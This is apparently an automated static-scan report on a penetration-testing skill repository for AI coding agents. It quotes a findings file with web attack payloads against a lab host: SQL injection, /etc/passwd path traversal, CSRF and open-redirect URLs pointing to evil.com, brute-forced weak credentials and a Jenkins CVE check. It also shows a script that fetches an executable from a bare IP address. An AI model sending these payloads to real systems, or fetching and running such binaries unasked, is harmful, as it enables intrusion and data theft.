except ValueError: timeout_value = None timeout = httpx.Timeout(timeout_value or 60.0) - Network accessline 1473
except ValueError: timeout_value = None timeout = httpx.Timeout(timeout_value or 60.0) - Network accessline 1473
except ValueError: timeout_value = None timeout = httpx.Timeout(timeout_value or 60.0) - Network accessline 1475
timeout = httpx.Timeout(timeout_value or 60.0) - Network accessline 1475
timeout = httpx.Timeout(timeout_value or 60.0) - Network accessline 1475
timeout = httpx.Timeout(timeout_value or 60.0) - Network accessline 1475
timeout = httpx.Timeout(timeout_value or 60.0) - Network accessline 1475
timeout = httpx.Timeout(timeout_value or 60.0) - Network accessline 1475
timeout = httpx.Timeout(timeout_value or 60.0) - Network accessline 1475
timeout = httpx.Timeout(timeout_value or 60.0) - Network accessline 1475
timeout = httpx.Timeout(timeout_value or 60.0) - Network accessline 1536
client = httpx.Client(**client_kwargs) if proxy_mode != "pool" else None - Network accessline 1536
client = httpx.Client(**client_kwargs) if proxy_mode != "pool" else None - Network accessline 1536
client = httpx.Client(**client_kwargs) if proxy_mode != "pool" else None - Network accessline 1536
client = httpx.Client(**client_kwargs) if proxy_mode != "pool" else None - Network accessline 1536
client = httpx.Client(**client_kwargs) if proxy_mode != "pool" else None - Network accessline 1536
client = httpx.Client(**client_kwargs) if proxy_mode != "pool" else None - Network accessline 1536
client = httpx.Client(**client_kwargs) if proxy_mode != "pool" else None - Network accessline 1536
client = httpx.Client(**client_kwargs) if proxy_mode != "pool" else None - Network accessline 1549
run_client_kwargs = dict(client_kwargs) run_client_kwargs[proxy_arg] = run_proxy run_client = httpx.Client(**run_client_kwargs) - Network accessline 1549
run_client_kwargs = dict(client_kwargs) run_client_kwargs[proxy_arg] = run_proxy run_client = httpx.Client(**run_client_kwargs) - Network accessline 1549
run_client_kwargs = dict(client_kwargs) run_client_kwargs[proxy_arg] = run_proxy run_client = httpx.Client(**run_client_kwargs) - Network accessline 1549
run_client_kwargs = dict(client_kwargs) run_client_kwargs[proxy_arg] = run_proxy run_client = httpx.Client(**run_client_kwargs) - Network accessline 1549
run_client_kwargs = dict(client_kwargs) run_client_kwargs[proxy_arg] = run_proxy run_client = httpx.Client(**run_client_kwargs) - Network accessline 1549
run_client_kwargs = dict(client_kwargs) run_client_kwargs[proxy_arg] = run_proxy run_client = httpx.Client(**run_client_kwargs) - Network accessline 1549
run_client_kwargs = dict(client_kwargs) run_client_kwargs[proxy_arg] = run_proxy run_client = httpx.Client(**run_client_kwargs) - Network accessline 1549
run_client_kwargs = dict(client_kwargs) run_client_kwargs[proxy_arg] = run_proxy run_client = httpx.Client(**run_client_kwargs) - Network accessline 1551
run_client = httpx.Client(**run_client_kwargs) - Network accessline 1551
run_client = httpx.Client(**run_client_kwargs) - Network accessline 1551
run_client = httpx.Client(**run_client_kwargs) - Network accessline 1551
run_client = httpx.Client(**run_client_kwargs) - Network accessline 1551
run_client = httpx.Client(**run_client_kwargs) - Network accessline 1551
run_client = httpx.Client(**run_client_kwargs) - Network accessline 1551
run_client = httpx.Client(**run_client_kwargs) - Network accessline 1551
run_client = httpx.Client(**run_client_kwargs)
scripts/install_sub_agents.py
- Executable scriptline 1
#!/usr/bin/env python3
scripts/prepare_agent_findings.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 74
"confidence": "confirmed", "authenticated": False, "target_url": "http://192.168.1.133:8000/vul/sqli/sqli_str.php?name=1'+or+1=1#", - Network accessline 75
"authenticated": False, "target_url": "http://192.168.1.133:8000/vul/sqli/sqli_str.php?name=1'+or+1=1#", "description": "name参数未做参数化处理,单引号注入后 OR 1=1 可泄露数据库中全部8个用户的UID和邮箱。", - Network accessline 76
"target_url": "http://192.168.1.133:8000/vul/sqli/sqli_str.php?name=1'+or+1=1#", - Network accessline 79
{ "label": "漏洞验证回放命令", "command": 'python {SKILL_ROOT}/scripts/http_test.py --url "http://192.168.1.133:8000/vul/sqli/sqli_str.php?name=1\'+or+1=1#&submit=查询" --method GET --show-command --sho - Network accessline 80
"label": "漏洞验证回放命令", "command": 'python {SKILL_ROOT}/scripts/http_test.py --url "http://192.168.1.133:8000/vul/sqli/sqli_str.php?name=1\'+or+1=1#&submit=查询" --method GET --show-command --show-summary --include-header - Network accessline 81
"command": 'python {SKILL_ROOT}/scripts/http_test.py --url "http://192.168.1.133:8000/vul/sqli/sqli_str.php?name=1\'+or+1=1#&submit=查询" --method GET --show-command --show-summary --include-headers', - Network accessline 89
"request": { "method": "GET", "url": "http://192.168.1.133:8000/vul/sqli/sqli_str.php?name=1%27&submit=查询", - Network accessline 90
"method": "GET", "url": "http://192.168.1.133:8000/vul/sqli/sqli_str.php?name=1%27&submit=查询", "headers": {}, - Network accessline 91
"url": "http://192.168.1.133:8000/vul/sqli/sqli_str.php?name=1%27&submit=查询", - Network accessline 104
"request": { "method": "GET", "url": "http://192.168.1.133:8000/vul/sqli/sqli_str.php?name=1'+or+1=1#&submit=查询", - Network accessline 105
"method": "GET", "url": "http://192.168.1.133:8000/vul/sqli/sqli_str.php?name=1'+or+1=1#&submit=查询", "headers": {}, - Network accessline 106
"url": "http://192.168.1.133:8000/vul/sqli/sqli_str.php?name=1'+or+1=1#&submit=查询", - Network accessline 141
"confidence": "confirmed", "authenticated": False, "target_url": "http://192.168.1.133:8000/vul/brute/bf_form.php", - Network accessline 142
"authenticated": False, "target_url": "http://192.168.1.133:8000/vul/brute/bf_form.php", "description": "登录接口未限制登录频率,使用弱口令字典成功破解出 admin:123456 和 pikachu:000000 两组有效凭证。", - Network accessline 143
"target_url": "http://192.168.1.133:8000/vul/brute/bf_form.php", - Network accessline 146
[Credential-related source omitted] - Network accessline 147
[Credential-related source omitted] - Network accessline 148
[Credential-related source omitted] - Network accessline 156
"request": { "method": "POST", "url": "http://192.168.1.133:8000/vul/brute/bf_form.php", - Network accessline 157
"method": "POST", "url": "http://192.168.1.133:8000/vul/brute/bf_form.php", "headers": {"Content-Type": "application/x-www-form-urlencoded"}, - Network accessline 158
"url": "http://192.168.1.133:8000/vul/brute/bf_form.php", - Network accessline 171
"request": { "method": "POST", "url": "http://192.168.1.133:8000/vul/brute/bf_form.php", - Network accessline 172
"method": "POST", "url": "http://192.168.1.133:8000/vul/brute/bf_form.php", "headers": {"Content-Type": "application/x-www-form-urlencoded"}, - Network accessline 173
"url": "http://192.168.1.133:8000/vul/brute/bf_form.php", - Network accessline 198
"confidence": "confirmed", "authenticated": False, "target_url": "http://192.168.1.133:8000/vul/fileinclude/fi_local.php?filename=../../../../etc/passwd", - Network accessline 199
"authenticated": False, "target_url": "http://192.168.1.133:8000/vul/fileinclude/fi_local.php?filename=../../../../etc/passwd", "description": "filename参数未校验路径穿越,通过../../../../可包含任意本地文件,成功读取/etc/passwd系统文件。", - Network accessline 200
"target_url": "http://192.168.1.133:8000/vul/fileinclude/fi_local.php?filename=../../../../etc/passwd", - Network accessline 203
{ "label": "回放路径穿越读取系统文件", "command": 'python {SKILL_ROOT}/scripts/http_test.py --url "http://192.168.1.133:8000/vul/fileinclude/fi_local.php?filename=../../../../etc/passwd&submit=提交" --metho - Network accessline 204
"label": "回放路径穿越读取系统文件", "command": 'python {SKILL_ROOT}/scripts/http_test.py --url "http://192.168.1.133:8000/vul/fileinclude/fi_local.php?filename=../../../../etc/passwd&submit=提交" --method GET --show-command --sho - Network accessline 205
"command": 'python {SKILL_ROOT}/scripts/http_test.py --url "http://192.168.1.133:8000/vul/fileinclude/fi_local.php?filename=../../../../etc/passwd&submit=提交" --method GET --show-command --show-summary --include-headers', - Network accessline 213
"request": { "method": "GET", "url": "http://192.168.1.133:8000/vul/fileinclude/fi_local.php?filename=../../../../etc/passwd&submit=提交", - Network accessline 214
"method": "GET", "url": "http://192.168.1.133:8000/vul/fileinclude/fi_local.php?filename=../../../../etc/passwd&submit=提交", "headers": {}, - Network accessline 215
"url": "http://192.168.1.133:8000/vul/fileinclude/fi_local.php?filename=../../../../etc/passwd&submit=提交", - Network accessline 246
"confidence": "confirmed", "authenticated": False, "target_url": "http://192.168.1.133:8000/.git/HEAD", - Network accessline 247
"authenticated": False, "target_url": "http://192.168.1.133:8000/.git/HEAD", "description": ".git目录完全公开,攻击者可通过git clone获取完整源码,包含硬编码的数据库密码、API密钥等敏感信息。", - Network accessline 248
"target_url": "http://192.168.1.133:8000/.git/HEAD", - Network accessline 251
{ "label": "回放 .git 暴露确认请求", "command": 'python {SKILL_ROOT}/scripts/http_test.py --url "http://192.168.1.133:8000/.git/HEAD" --method GET --show-command --show-summary --include-headers', - Network accessline 252
"label": "回放 .git 暴露确认请求", "command": 'python {SKILL_ROOT}/scripts/http_test.py --url "http://192.168.1.133:8000/.git/HEAD" --method GET --show-command --show-summary --include-headers', "expe - Network accessline 253
"command": 'python {SKILL_ROOT}/scripts/http_test.py --url "http://192.168.1.133:8000/.git/HEAD" --method GET --show-command --show-summary --include-headers', - Network accessline 261
"request": { "method": "GET", "url": "http://192.168.1.133:8000/.git/HEAD", - Network accessline 262
"method": "GET", "url": "http://192.168.1.133:8000/.git/HEAD", "headers": {}, - Network accessline 263
"url": "http://192.168.1.133:8000/.git/HEAD", - Network accessline 276
"request": { "method": "GET", "url": "http://192.168.1.133:8000/.git/config", - Network accessline 277
"method": "GET", "url": "http://192.168.1.133:8000/.git/config", "headers": {}, - Network accessline 278
"url": "http://192.168.1.133:8000/.git/config", - Network accessline 311
"confidence": "confirmed", "authenticated": True, "target_url": "http://192.168.1.133:8000/vul/csrf/csrfget/csrf_get_edit.php?sex=1&phonenum=13800000000&email=hacked@evil.com&add=hacked&submit=submit", - Network accessline 312
"authenticated": True, "target_url": "http://192.168.1.133:8000/vul/csrf/csrfget/csrf_get_edit.php?sex=1&phonenum=13800000000&email=hacked@evil.com&add=hacked&submit=submit", "description": "用户资料修改接口使用GET请求且无 - Network accessline 313
"target_url": "http://192.168.1.133:8000/vul/csrf/csrfget/csrf_get_edit.php?sex=1&phonenum=13800000000&email=hacked@evil.com&add=hacked&submit=submit", - Network accessline 316
{ "label": "回放 CSRF 恶意修改请求", "command": 'python {SKILL_ROOT}/scripts/http_test.py --url "http://192.168.1.133:8000/vul/csrf/csrfget/csrf_get_edit.php?sex=1&phonenum=13800000000&email=hacked@ev - Network accessline 317
"label": "回放 CSRF 恶意修改请求", "command": 'python {SKILL_ROOT}/scripts/http_test.py --url "http://192.168.1.133:8000/vul/csrf/csrfget/csrf_get_edit.php?sex=1&phonenum=13800000000&email=hacked@evil.com&add=hacked&submit=s - Network accessline 318
"command": 'python {SKILL_ROOT}/scripts/http_test.py --url "http://192.168.1.133:8000/vul/csrf/csrfget/csrf_get_edit.php?sex=1&phonenum=13800000000&email=hacked@evil.com&add=hacked&submit=submit" --method GET --show-command --show-summary - - Network accessline 326
"request": { "method": "GET", "url": "http://192.168.1.133:8000/vul/csrf/csrfget/csrf_get_edit.php", - Network accessline 327
"method": "GET", "url": "http://192.168.1.133:8000/vul/csrf/csrfget/csrf_get_edit.php", "headers": {}, - Network accessline 328
"url": "http://192.168.1.133:8000/vul/csrf/csrfget/csrf_get_edit.php", - Network accessline 341
"request": { "method": "GET", "url": "http://192.168.1.133:8000/vul/csrf/csrfget/csrf_get_edit.php?sex=1&phonenum=13800000000&email=hacked@evil.com&add=hacked&submit=submit", - Network accessline 342
"method": "GET", "url": "http://192.168.1.133:8000/vul/csrf/csrfget/csrf_get_edit.php?sex=1&phonenum=13800000000&email=hacked@evil.com&add=hacked&submit=submit", "headers": {}, - Network accessline 343
"url": "http://192.168.1.133:8000/vul/csrf/csrfget/csrf_get_edit.php?sex=1&phonenum=13800000000&email=hacked@evil.com&add=hacked&submit=submit", - Network accessline 377
"confidence": "confirmed", "authenticated": False, "target_url": "http://192.168.1.133:8000/vul/urlredirect/urlredirect.php?url=http://evil.com", - Network accessline 378
"authenticated": False, "target_url": "http://192.168.1.133:8000/vul/urlredirect/urlredirect.php?url=http://evil.com", "description": "url参数未校验域名白名单,服务端直接302重定向到任意外部域名,攻击者可用于钓鱼攻击。", - Network accessline 379
"target_url": "http://192.168.1.133:8000/vul/urlredirect/urlredirect.php?url=http://evil.com", - Network accessline 382
{ "label": "回放开放重定向请求", "command": 'python {SKILL_ROOT}/scripts/http_test.py --url "http://192.168.1.133:8000/vul/urlredirect/urlredirect.php?url=http://evil.com" --method GET --show-command - - Network accessline 383
"label": "回放开放重定向请求", "command": 'python {SKILL_ROOT}/scripts/http_test.py --url "http://192.168.1.133:8000/vul/urlredirect/urlredirect.php?url=http://evil.com" --method GET --show-command --show-summary --include-he - Network accessline 384
"command": 'python {SKILL_ROOT}/scripts/http_test.py --url "http://192.168.1.133:8000/vul/urlredirect/urlredirect.php?url=http://evil.com" --method GET --show-command --show-summary --include-headers', - Network accessline 392
"request": { "method": "GET", "url": "http://192.168.1.133:8000/vul/urlredirect/urlredirect.php?url=http://evil.com", - Network accessline 393
"method": "GET", "url": "http://192.168.1.133:8000/vul/urlredirect/urlredirect.php?url=http://evil.com", "headers": {}, - Network accessline 394
"url": "http://192.168.1.133:8000/vul/urlredirect/urlredirect.php?url=http://evil.com", - Network accessline 398
"response": { "status_code": 302, "headers": {"Location": "http://evil.com"}, - Network accessline 399
"status_code": 302, "headers": {"Location": "http://evil.com"}, "body": "", - Network accessline 400
"headers": {"Location": "http://evil.com"}, - Network accessline 428
"confidence": "confirmed", "authenticated": False, "target_url": "http://192.168.1.133:8080/securityRealm/user/admin/descriptorByName/...", - Network accessline 429
"authenticated": False, "target_url": "http://192.168.1.133:8080/securityRealm/user/admin/descriptorByName/...", "description": "通过指纹识别发现 Jenkins/2.138,匹配 POC CVE-2018-1000861 验证存在远程命令注入漏洞。", - Network accessline 430
"target_url": "http://192.168.1.133:8080/securityRealm/user/admin/descriptorByName/...", - Network accessline 433
{ "label": "POC 验证回放命令", "command": 'python {SKILL_ROOT}/scripts/http_test.py --url "http://192.168.1.133:8080/securityRealm/user/admin/descriptorByName/..." --method GET --include-headers --s - Network accessline 434
"label": "POC 验证回放命令", "command": 'python {SKILL_ROOT}/scripts/http_test.py --url "http://192.168.1.133:8080/securityRealm/user/admin/descriptorByName/..." --method GET --include-headers --show-summary --response-max - Network accessline 435
"command": 'python {SKILL_ROOT}/scripts/http_test.py --url "http://192.168.1.133:8080/securityRealm/user/admin/descriptorByName/..." --method GET --include-headers --show-summary --response-max-lines 100 --allow-insecure --timeout 15', - Network accessline 443
"request": { "method": "GET", "url": "http://192.168.1.133:8080/securityRealm/user/admin/descriptorByName/...", - Network accessline 444
"method": "GET", "url": "http://192.168.1.133:8080/securityRealm/user/admin/descriptorByName/...", "headers": {}, - Network accessline 445
"url": "http://192.168.1.133:8080/securityRealm/user/admin/descriptorByName/...",
scripts/run_api_prescan.py
- Executable scriptline 1
#!/usr/bin/env python3
scripts/run_fingerprint.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 7
用法: python run_fingerprint.py -u http://target.com - Network accessline 8
python run_fingerprint.py -u http://target.com - Network accessline 9
python run_fingerprint.py -u http://target.com --db fingerprints_rules/fingerprints_db.yaml - Network accessline 11
python run_fingerprint.py --list python run_fingerprint.py --info "SpringBoot" python run_fingerprint.py -u http://target.com --json -o result.json - Network accessline 12
python run_fingerprint.py --info "SpringBoot" python run_fingerprint.py -u http://target.com --json -o result.json """ - Network accessline 13
python run_fingerprint.py -u http://target.com --json -o result.json - Network accessline 500
self.proxy_pool = list(proxy_pool or []) self.proxy_strategy = proxy_strategy or "single" self.session = requests.Session() - Network accessline 501
self.proxy_strategy = proxy_strategy or "single" self.session = requests.Session() self.session.verify = False - Network accessline 502
self.session = requests.Session() - Network accessline 1532
python run_fingerprint.py -u http://target.com - Network accessline 1535
python run_fingerprint.py -u http://target.com --db fingerprints_rules/fingerprints_db.yaml - Network accessline 1547
python run_fingerprint.py -u http://target.com --json -o result.json - Network accessline 1575
adv.add_argument('--max-time', type=int, default=45, dest='max_time', help='单个目标最大扫描时间(秒)(默认: 45)') adv.add_argument('--proxy', help='HTTP代理 (如 http://127.0.0.1:8080),优先于 http_test.json') - Network accessline 1576
help='单个目标最大扫描时间(秒)(默认: 45)') adv.add_argument('--proxy', help='HTTP代理 (如 http://127.0.0.1:8080),优先于 http_test.json') adv.add_argument('--no-proxy', action='store_true', - Network accessline 1577
adv.add_argument('--proxy', help='HTTP代理 (如 http://127.0.0.1:8080),优先于 http_test.json')
scripts/run_gospider.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 52
DEFAULT_PER_TARGET_TIMEOUT = 20 * 60 DEFAULT_DOWNLOAD_URL = "http://8.138.125.156:8000/gospider.exe" - Network accessline 53
DEFAULT_DOWNLOAD_URL = "http://8.138.125.156:8000/gospider.exe" - Access to secretsline 110
[Credential-related source omitted] - Access to secretsline 153
[Credential-related source omitted] - Network accessline 184
dest.parent.mkdir(parents=True, exist_ok=True) print(f" [*] Downloading GoSpider: {url}") with urllib.request.urlopen(url, timeout=90) as response: - Network accessline 185
print(f" [*] Downloading GoSpider: {url}") with urllib.request.urlopen(url, timeout=90) as response: with open(dest, "wb") as handle: - Network accessline 186
with urllib.request.urlopen(url, timeout=90) as response: - Access to secretsline 234
[Credential-related source omitted] - Access to secretsline 411
[Credential-related source omitted]
scripts/runtime_status.py
- Executable scriptline 1
#!/usr/bin/env python3
scripts/sensitive_extract.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 186
[Credential-related source omitted] - Network accessline 361
default_headers.update(headers) try: response = requests.request( - Network accessline 362
try: response = requests.request( method=method, - Network accessline 363
response = requests.request( - Access to secretsline 480
[Credential-related source omitted] - Access to secretsline 491
[Credential-related source omitted] - Access to secretsline 494
[Credential-related source omitted] - Possible obfuscationline 984
decoded = base64.b64decode(credentials).decode("utf-8", errors="ignore") - Network accessline 1472
js_urls_to_scan = [] target_domain = urllib.parse.urlparse(args.target).hostname or args.target base_url = args.target if args.target.startswith("http") else f"https://{args.target}" - Network accessline 1474
base_url = args.target if args.target.startswith("http") else f"https://{args.target}" - Network accessline 1476
target_domain = urllib.parse.urlparse(args.target).hostname or args.target base_url = args.target if args.target.startswith("http") else f"https://{args.target}" - Network accessline 1477
base_url = args.target if args.target.startswith("http") else f"https://{args.target}" - Network accessline 1480
if '/' in args.target.replace(f'https://{target_domain}', ''):
scripts/verify_findings.py
scripts/workspace_env.py
- Executable scriptline 1
Executable file
scripts/ws_test.py
- Executable scriptline 1
#!/usr/bin/env python3 - Executable scriptline 1
#!/usr/bin/env python3 - Possible obfuscationline 448
return base64.b64decode(step["base64"], validate=True) - Possible obfuscationline 448
return base64.b64decode(step["base64"], validate=True) - Access to secretsline 655
[Credential-related source omitted] - Access to secretsline 655
[Credential-related source omitted] - Network accessline 974
code, status, error = 2 if rec is None else 3, 'failed', ( f'{type(exc).__name__}: {exc}; 请先安装依赖: pip install -i ' f'https://pypi.tuna.tsinghua.edu.cn/simple websockets==16.0 (Python 3.10+) ' - Network accessline 974
code, status, error = 2 if rec is None else 3, 'failed', ( f'{type(exc).__name__}: {exc}; 请先安装依赖: pip install -i ' f'https://pypi.tuna.tsinghua.edu.cn/simple websockets==16.0 (Python 3.10+) ' - Network accessline 975
f'{type(exc).__name__}: {exc}; 请先安装依赖: pip install -i ' f'https://pypi.tuna.tsinghua.edu.cn/simple websockets==16.0 (Python 3.10+) ' f'/ 15.0.1 (3.9) / 13.1 (3.8)') - Network accessline 975
f'{type(exc).__name__}: {exc}; 请先安装依赖: pip install -i ' f'https://pypi.tuna.tsinghua.edu.cn/simple websockets==16.0 (Python 3.10+) ' f'/ 15.0.1 (3.9) / 13.1 (3.8)') - Network accessline 976
f'https://pypi.tuna.tsinghua.edu.cn/simple websockets==16.0 (Python 3.10+) ' - Network accessline 976
f'https://pypi.tuna.tsinghua.edu.cn/simple websockets==16.0 (Python 3.10+) '
tools/gospider_downloads.json
- Network accessline 2
"gospider": { "windows-amd64": { "url": "https://ok-tools.oss-cn-beijing.aliyuncs.com/gospider_v1.1.6_windows_x86_64.zip", - Network accessline 3
"windows-amd64": { "url": "https://ok-tools.oss-cn-beijing.aliyuncs.com/gospider_v1.1.6_windows_x86_64.zip", "archive": "zip", - Network accessline 4
"url": "https://ok-tools.oss-cn-beijing.aliyuncs.com/gospider_v1.1.6_windows_x86_64.zip", - Network accessline 7
}, "windows-arm64": { "url": "https://ok-tools.oss-cn-beijing.aliyuncs.com/gospider_v1.1.6_windows_arm.zip", - Network accessline 8
"windows-arm64": { "url": "https://ok-tools.oss-cn-beijing.aliyuncs.com/gospider_v1.1.6_windows_arm.zip", "archive": "zip", - Network accessline 9
"url": "https://ok-tools.oss-cn-beijing.aliyuncs.com/gospider_v1.1.6_windows_arm.zip", - Network accessline 12
}, "linux-amd64": { "url": "https://ok-tools.oss-cn-beijing.aliyuncs.com/gospider_v1.1.6_linux_x86_64.zip", - Network accessline 13
"linux-amd64": { "url": "https://ok-tools.oss-cn-beijing.aliyuncs.com/gospider_v1.1.6_linux_x86_64.zip", "archive": "zip", - Network accessline 14
"url": "https://ok-tools.oss-cn-beijing.aliyuncs.com/gospider_v1.1.6_linux_x86_64.zip", - Network accessline 17
}, "linux-arm64": { "url": "https://ok-tools.oss-cn-beijing.aliyuncs.com/gospider_v1.1.6_linux_arm.zip", - Network accessline 18
"linux-arm64": { "url": "https://ok-tools.oss-cn-beijing.aliyuncs.com/gospider_v1.1.6_linux_arm.zip", "archive": "zip", - Network accessline 19
"url": "https://ok-tools.oss-cn-beijing.aliyuncs.com/gospider_v1.1.6_linux_arm.zip", - Network accessline 22
}, "darwin-amd64": { "url": "https://ok-tools.oss-cn-beijing.aliyuncs.com/gospider_v1.1.6_macos_x86_64.zip", - Network accessline 23
"darwin-amd64": { "url": "https://ok-tools.oss-cn-beijing.aliyuncs.com/gospider_v1.1.6_macos_x86_64.zip", "archive": "zip", - Network accessline 24
"url": "https://ok-tools.oss-cn-beijing.aliyuncs.com/gospider_v1.1.6_macos_x86_64.zip", - Network accessline 27
}, "darwin-arm64": { "url": "https://ok-tools.oss-cn-beijing.aliyuncs.com/gospider_v1.1.6_macos_arm64.zip", - Network accessline 28
"darwin-arm64": { "url": "https://ok-tools.oss-cn-beijing.aliyuncs.com/gospider_v1.1.6_macos_arm64.zip", "archive": "zip", - Network accessline 29
"url": "https://ok-tools.oss-cn-beijing.aliyuncs.com/gospider_v1.1.6_macos_arm64.zip",
How the signals fit together
Facts from a static read of the files at the pinned commit. They describe what the code does, not why.
Some files could not be read; the facts below still hold.
Signal confidence: 500 facts
- Network access in code of documentationREADME.md:55Low confidence
- Network access in code of documentationREADME.md:56Low confidence
- Network access in code of documentationREADME.md:57Low confidence
- Network access in code of documentationREADME.md:88Low confidence
- Network access in prose of documentationREADME.md:123Low confidence
- Network access in prose of documentationREADME.md:135Low confidence
- Network access in prose of documentationREADME.md:136Low confidence
- Network access in code of documentationREADME.md:143Low confidence
- Network access in code of documentationREADME.md:155Low confidence
- Network access in code of documentationREADME.md:170Low confidence
- Network access in code of documentationREADME.md:182Low confidence
- Network access in code of documentationREADME.md:183Low confidence
- Network access in code of documentationREADME.md:185Low confidence
- Network access in code of documentationREADME_EN.md:55Low confidence
- Network access in code of documentationREADME_EN.md:56Low confidence
- Network access in code of documentationREADME_EN.md:57Low confidence
- Network access in code of documentationREADME_EN.md:88Low confidence
- Network access in prose of documentationREADME_EN.md:123Low confidence
- Network access in prose of documentationREADME_EN.md:135Low confidence
- Network access in prose of documentationREADME_EN.md:136Low confidence
- Network access in code of documentationREADME_EN.md:143Low confidence
- Network access in code of documentationREADME_EN.md:155Low confidence
- Network access in code of documentationREADME_EN.md:170Low confidence
- Network access in code of documentationREADME_EN.md:182Low confidence
- Network access in code of documentationREADME_EN.md:183Low confidence
- Network access in code of documentationREADME_EN.md:185Low confidence
- Network access in code of the SKILL.mdSKILL.md:203High confidence
- Network access in code of the SKILL.mdSKILL.md:204High confidence
- Network access in code of the SKILL.mdSKILL.md:205High confidence
- Network access in code of the SKILL.mdSKILL.md:227High confidence
- Network access in code of the SKILL.mdSKILL.md:228High confidence
- Network access in code of the SKILL.mdSKILL.md:229High confidence
- Network access in code of the SKILL.mdSKILL.md:233High confidence
- Network access in code of the SKILL.mdSKILL.md:234High confidence
- Network access in code of the SKILL.mdSKILL.md:235High confidence
- Network access in code of the SKILL.mdSKILL.md:241High confidence
- Network access in code of the SKILL.mdSKILL.md:242High confidence
- Network access in code of the SKILL.mdSKILL.md:243High confidence
- Network access in code of the SKILL.mdapi-agent/SKILL.md:211High confidence
- Network access in code of the SKILL.mdapi-agent/SKILL.md:212High confidence
- Network access in code of the SKILL.mdapi-agent/SKILL.md:213High confidence
- Network access in code of the SKILL.mdapi-agent/SKILL.md:217High confidence
- Network access in code of the SKILL.mdapi-agent/SKILL.md:218High confidence
- Network access in code of the SKILL.mdapi-agent/SKILL.md:219High confidence
- Network access in code of the SKILL.mdapi-agent/SKILL.md:227High confidence
- Network access in code of the SKILL.mdapi-agent/SKILL.md:228High confidence
- Network access in code of the SKILL.mdapi-agent/SKILL.md:229High confidence
- Network access in code of the SKILL.mdapi-agent/SKILL.md:242High confidence
- Network access in code of the SKILL.mdapi-agent/SKILL.md:243High confidence
- Network access in code of the SKILL.mdapi-agent/SKILL.md:244High confidence
and 450 more
Only the first 500 facts are listed.
Works with
| Agent | Status | Evidence | Install to |
|---|---|---|---|
| Claude Code | Compatible | Standard SKILL.md SKILL.md | .claude/skills/<skill-name>/ |
| Codex | Compatible | Standard SKILL.md SKILL.md | .agents/skills/<skill-name>/ |
| Cursor | Compatible | Standard SKILL.md SKILL.md | .cursor/skills/<skill-name>/ |
| Gemini CLI | Compatible | Standard SKILL.md SKILL.md | .gemini/skills/<skill-name>/ |
| GitHub Copilot | Compatible | Standard SKILL.md SKILL.md | .github/skills/<skill-name>/ |
| OpenCode | Compatible | Standard SKILL.md SKILL.md | .opencode/skills/<skill-name>/ |
- Native The repository ships a manifest, folder or frontmatter field for this agent.
- Compatible A standard SKILL.md that this agent can read.
- Unknown No evidence either way.
Derived automatically from paths, manifests and frontmatter. Not tested on each agent.